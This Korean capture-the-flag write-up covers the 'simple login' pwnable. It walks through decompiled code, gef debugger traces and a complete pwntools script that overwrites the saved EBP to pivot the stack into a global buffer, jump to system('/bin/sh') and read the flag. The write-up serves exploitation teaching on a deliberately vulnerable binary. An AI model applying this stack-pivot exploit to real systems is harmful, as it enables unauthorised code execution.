콘텐츠로 건너뛰기

simple login

Description

Can you get authentication from this server?

ssh [email protected] -p2222 (pw: guest)

Decompiled src

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+18h] [ebp-28h] BYREF
  _BYTE s[30]; // [esp+1Eh] [ebp-22h] BYREF
  unsigned int v6; // [esp+3Ch] [ebp-4h]

  memset(s, 0, sizeof(s));
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  printf("Authenticate : ");
  _isoc99_scanf("%30s", s);
  memset(&input, 0, 0xCu);
  v4 = 0;
  v6 = Base64Decode((int)s, &v4);
  if ( v6 > 0xC )
  {
    puts("Wrong Length");
  }
  else
  {
    memcpy(&input, v4, v6);
    if ( auth(v6) )
      correct();
  }
  return 0;
}

_BOOL4 __cdecl auth(int a1)
{
  _BYTE v2[8]; // [esp+14h] [ebp-14h] BYREF
  char *s2; // [esp+1Ch] [ebp-Ch]
  int v4; // [esp+20h] [ebp-8h] BYREF

  memcpy(&v4, &input, a1);
  s2 = (char *)calc_md5((int)v2, 12);
  printf("hash : %s\n", s2);
  return strcmp("f87cd601aa7fedca99018a8be88eda34", s2) == 0;
}

void __noreturn correct()
{
  if ( input == 0xDEADBEEF )
  {
    puts("Congratulation! you are good!");
    system("/bin/sh");
  }
  exit(0);
}

최대 30바이트의 Base64 인코딩된 인증 문자열을 입력받아 s 배열에 입력받을 수 있다.

Base64Decode 함수는 s에 저장된 Base64 문자열을 디코딩하여, v4에 저장하고, 디코딩된 바이트 수를 반환한다.

디코딩된 데이터는 input 전역변수에 복사하는데 최대 0xC, 12 바이트까지 복사할 수 있다.

input 전역변수 데이터는 auth 함수를 거쳐 md5 해시값이 “f87cd601aa7fedca99018a8be88eda34” 일 경우에 correct() 함수를 호출한다.

여기서 input 값이 0xDEADBEEF여야 플래그를 획득할 수 있다.

Analysis

_BOOL4 __cdecl auth(int a1)
{
  _BYTE v2[8]; // [esp+14h] [ebp-14h] BYREF
  char *s2; // [esp+1Ch] [ebp-Ch]
  int v4; // [esp+20h] [ebp-8h] BYREF

  memcpy(&v4, &input, a1);
  s2 = (char *)calc_md5((int)v2, 12);
  printf("hash : %s\n", s2);
  return strcmp("f87cd601aa7fedca99018a8be88eda34", s2) == 0;
}

auth 함수애서 a1은 Base64 디코딩된 바이트 수를 의미하고, input 전역변수는 Base64 디코딩된 데이터가 들어간다.

문제는 v4[ebp-8h]에 위치해있고, memcpy를 통해 최대 12바이트를 덮을 수 있기 때문에 auth’s ebp를 임의의 값으로 덮을 수 있다.

다음과 같이 payload를 구성했을때 auth 함수의 에필로그 중 leave 어셈블리 수행하기전을 살펴보면

payload = b"A"*4
payload += p32(0x08049284)  #correct+0x25
payload += p32(0x811eb40)   #input 전역변수 주소

# input()
p.sendlineafter("Authenticate : ", base64.b64encode(payload))

보다시피 ebp 레지스터를 살펴봤을때, input 전역변수 주소로 덮어졌다.

[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────── registers ────
$eax   : 0x0       
$ebx   : 0x080481d0  →  <_init+0000> push ebx
$ecx   : 0xffffffff
$edx   : 0x08e989f0  →  "5e98ff0ea70dc509487731df31af6bee"
$esp   : 0xff93ed80  →  0x080da684  →  "f87cd601aa7fedca99018a8be88eda34"
$ebp   : 0xff93eda8  →  0x0811eb40  →  0x41414141 ("AAAA"?)
$esi   : 0x0       
$edi   : 0x0811b00c  →  0x080a6470  →  <__stpcpy_sse2+0000> mov edx, DWORD PTR [esp+0x4]
$eip   : 0x0804930b  →  <auth+006f> leave 
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 IDENTIFICATION]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63 
───────────────────────────────────────────────────────────────────────── stack ────
0xff93ed80│+0x0000: 0x080da684  →  "f87cd601aa7fedca99018a8be88eda34"	 ← $esp
0xff93ed84│+0x0004: 0x08e989f0  →  "5e98ff0ea70dc509487731df31af6bee"
0xff93ed88│+0x0008: 0x0000000c ("
                                 "?)
0xff93ed8c│+0x000c: 0x08e98ab0  →  0x0811b8d0  →  0x08e98bf0  →  0x00000000
0xff93ed90│+0x0010: 0x08e98ab0  →  0x0811b8d0  →  0x08e98bf0  →  0x00000000
0xff93ed94│+0x0014: 0x08e989f0  →  "5e98ff0ea70dc509487731df31af6bee"
0xff93ed98│+0x0018: 0x0000000c ("
                                 "?)
0xff93ed9c│+0x001c: 0x08e989f0  →  "5e98ff0ea70dc509487731df31af6bee"
─────────────────────────────────────────────────────────────────── code:x86:32 ────
    0x80492ff <auth+0063>      mov    eax, 0x1
    0x8049304 <auth+0068>      jmp    0x804930b <auth+111>
    0x8049306 <auth+006a>      mov    eax, 0x0
 →  0x804930b <auth+006f>      leave  
    0x804930c <auth+0070>      ret    
    0x804930d <main+0000>      push   ebp
    0x804930e <main+0001>      mov    ebp, esp
    0x8049310 <main+0003>      and    esp, 0xfffffff0
    0x8049313 <main+0006>      sub    esp, 0x40
─────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "simplelogin", stopped 0x804930b in auth (), reason: BREAKPOINT
───────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x804930b → auth()
[#1] 0x8049407 → main()
────────────────────────────────────────────────────────────────────────────────────
gef➤  

이제 leave 어셈블리어를 수행하면,

ebpesp로 옮기므로 → ebp = 0xff93eda8, esp = 0xff93eda8 ebppop하므로 → esp0xff93eda8 + 4 = 0xff93edac, ebp = input 전역변수 주소가 된다.

[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────── registers ────
$eax   : 0x0       
$ebx   : 0x080481d0  →  <_init+0000> push ebx
$ecx   : 0xffffffff
$edx   : 0x08e989f0  →  "5e98ff0ea70dc509487731df31af6bee"
$esp   : 0xff93edac  →  0x08049407  →  <main+00fa> cmp eax, 0x1
$ebp   : 0x0811eb40  →  0x41414141 ("AAAA"?)
$esi   : 0x0       
$edi   : 0x0811b00c  →  0x080a6470  →  <__stpcpy_sse2+0000> mov edx, DWORD PTR [esp+0x4]
$eip   : 0x0804930c  →  <auth+0070> ret 
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 IDENTIFICATION]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63 
───────────────────────────────────────────────────────────────────────── stack ────
0xff93edac│+0x0000: 0x08049407  →  <main+00fa> cmp eax, 0x1	 ← $esp
0xff93edb0│+0x0004: 0x0000000c ("
                                 "?)
0xff93edb4│+0x0008: 0x08e989b8  →  0x41414141
0xff93edb8│+0x000c: 0x0000000c ("
                                 "?)
0xff93edbc│+0x0010: 0x00000000
0xff93edc0│+0x0014: 0x00000001
0xff93edc4│+0x0018: 0xff93ee84  →  0xff9407ce  →  "./simplelogin"
0xff93edc8│+0x001c: 0x08e989b8  →  0x41414141
─────────────────────────────────────────────────────────────────── code:x86:32 ────
    0x8049304 <auth+0068>      jmp    0x804930b <auth+111>
    0x8049306 <auth+006a>      mov    eax, 0x0
    0x804930b <auth+006f>      leave  
 →  0x804930c <auth+0070>      ret    
   ↳   0x8049407 <main+00fa>      cmp    eax, 0x1
       0x804940a <main+00fd>      jne    0x804941f <main+274>
       0x804940c <main+00ff>      call   0x804925f <correct>
       0x8049411 <main+0104>      jmp    0x804941f <main+274>
       0x8049413 <main+0106>      mov    DWORD PTR [esp], 0x80da6ba
       0x804941a <main+010d>      call   0x805c2d0 <puts>
─────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "simplelogin", stopped 0x804930c in auth (), reason: SINGLE STEP
───────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x804930c → auth()
[#1] 0x8049407 → main()
────────────────────────────────────────────────────────────────────────────────────
gef➤  

auth‘s RET은 덮어써졌지 않았기에 main으로 다시 복귀할 수 있다.

아래는 main 함수에서 에필로그 중 leave 어셈블리어 수행 전이다.

main’s ebpauth 함수에서 ebp가 덮어졌기 때문에 input 전역변수 주소로 그대로 되어 있다.

[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────── registers ────
$eax   : 0x0       
$ebx   : 0x080481d0  →  <_init+0000> push ebx
$ecx   : 0xffffffff
$edx   : 0x08e989f0  →  "5e98ff0ea70dc509487731df31af6bee"
$esp   : 0xff93edb0  →  0x0000000c ("
                                     "?)
$ebp   : 0x0811eb40  →  0x41414141 ("AAAA"?)
$esi   : 0x0       
$edi   : 0x0811b00c  →  0x080a6470  →  <__stpcpy_sse2+0000> mov edx, DWORD PTR [esp+0x4]
$eip   : 0x08049424  →  <main+0117> leave 
$eflags: [zero CARRY PARITY ADJUST SIGN trap INTERRUPT direction overflow resume virtualx86 IDENTIFICATION]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63 
───────────────────────────────────────────────────────────────────────── stack ────
0xff93edb0│+0x0000: 0x0000000c ("
                                 "?)	 ← $esp
0xff93edb4│+0x0004: 0x08e989b8  →  0x41414141
0xff93edb8│+0x0008: 0x0000000c ("
                                 "?)
0xff93edbc│+0x000c: 0x00000000
0xff93edc0│+0x0010: 0x00000001
0xff93edc4│+0x0014: 0xff93ee84  →  0xff9407ce  →  "./simplelogin"
0xff93edc8│+0x0018: 0x08e989b8  →  0x41414141
0xff93edcc│+0x001c: 0x55510001
─────────────────────────────────────────────────────────────────── code:x86:32 ────
    0x8049413 <main+0106>      mov    DWORD PTR [esp], 0x80da6ba
    0x804941a <main+010d>      call   0x805c2d0 <puts>
    0x804941f <main+0112>      mov    eax, 0x0
 →  0x8049424 <main+0117>      leave  
    0x8049425 <main+0118>      ret    
    0x8049426                  xchg   ax, ax
    0x8049428                  xchg   ax, ax
    0x804942a                  xchg   ax, ax
    0x804942c                  xchg   ax, ax
─────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "simplelogin", stopped 0x8049424 in main (), reason: SINGLE STEP
───────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x8049424 → main()
────────────────────────────────────────────────────────────────────────────────────
gef➤  

이제 여기서도 leave를 수행하게 되면,

ebpesp로 옮기므로 → ebp = 0x0811eb40, esp = 0x0811eb40 ebppop하므로 → esp0x0811eb40 + 4 = 0x0811eb44, ebp = 0x41414141이 된다.

여기서 RET을 수행하게 되면, eipinput + 0x4 지점을 가리키게 되므로 system(”bin/sh”) 어셈블리 주소인 0x0811eb40 주소로 이동하여 플래그를 얻을 수 있다.

[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────── registers ────
$eax   : 0x0       
$ebx   : 0x080481d0  →  <_init+0000> push ebx
$ecx   : 0xffffffff
$edx   : 0x08e989f0  →  "5e98ff0ea70dc509487731df31af6bee"
$esp   : 0x0811eb44  →  0x08049284  →  <correct+0025> mov DWORD PTR [esp], 0x80da66f
$ebp   : 0x41414141 ("AAAA"?)
$esi   : 0x0       
$edi   : 0x0811b00c  →  0x080a6470  →  <__stpcpy_sse2+0000> mov edx, DWORD PTR [esp+0x4]
$eip   : 0x08049425  →  <main+0118> ret 
$eflags: [zero CARRY PARITY ADJUST SIGN trap INTERRUPT direction overflow resume virtualx86 IDENTIFICATION]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63 
───────────────────────────────────────────────────────────────────────── stack ────
0x0811eb44│+0x0000: 0x08049284  →  <correct+0025> mov DWORD PTR [esp], 0x80da66f	 ← $esp
0x0811eb48│+0x0004: 0x0811eb40  →  0x41414141
0x0811eb4c│+0x0008: 0x00000000
0x0811eb50│+0x000c: 0x078bfffd
0x0811eb54│+0x0010: 0x80002001
0x0811eb58│+0x0014: 0x00000000
0x0811eb5c│+0x0018: 0x00000000
0x0811eb60│+0x001c: 0x00000028 ("("?)
─────────────────────────────────────────────────────────────────── code:x86:32 ────
    0x804941a <main+010d>      call   0x805c2d0 <puts>
    0x804941f <main+0112>      mov    eax, 0x0
    0x8049424 <main+0117>      leave  
 →  0x8049425 <main+0118>      ret    
   ↳   0x8049284 <correct+0025>   mov    DWORD PTR [esp], 0x80da66f
       0x804928b <correct+002c>   call   0x805b2b0 <system>
       0x8049290 <correct+0031>   mov    DWORD PTR [esp], 0x0
       0x8049297 <correct+0038>   call   0x805a6a0 <exit>
       0x804929c <auth+0000>      push   ebp
       0x804929d <auth+0001>      mov    ebp, esp
─────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "simplelogin", stopped 0x8049425 in main (), reason: SINGLE STEP
───────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x8049425 → main()
────────────────────────────────────────────────────────────────────────────────────
gef➤  

solve.py

from pwn import *
#context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')
import base64

# p = process("./simplelogin")
p = remote("127.0.0.1", 9003)
e = ELF('./simplelogin', checksec=False)


payload = b"A"*4
payload += p32(0x08049284)  #
payload += p32(0x811eb40)   #

# input()
p.sendlineafter("Authenticate : ", base64.b64encode(payload))


p.interactive()

Result

simplelogin@ubuntu:~$ mkdir /tmp/w4_1
simplelogin@ubuntu:~$ cd /tmp/w4_1

simplelogin@ubuntu:/tmp/w4_1$ ln -sf /home/simplelogin/simplelogin  ./simplelogin

simplelogin@ubuntu:/tmp/w4_1$ nano solve.py

simplelogin@ubuntu:/tmp/w4_1$ python3 solve.py
[+] Opening connection to 127.0.0.1 on port 9003: Done
[*] Switching to interactive mode
hash : 629aa0e67eb4febb7a47bf1f2ccb5383
$ ls
flag
log
simplelogin
super.pl
$ cat flag
C0ntrol_EBP_E5P_EIP_and_rul3_th3_w0rld
$ 
[*] Interrupted
[*] Closed connection to 127.0.0.1 port 9003
태그: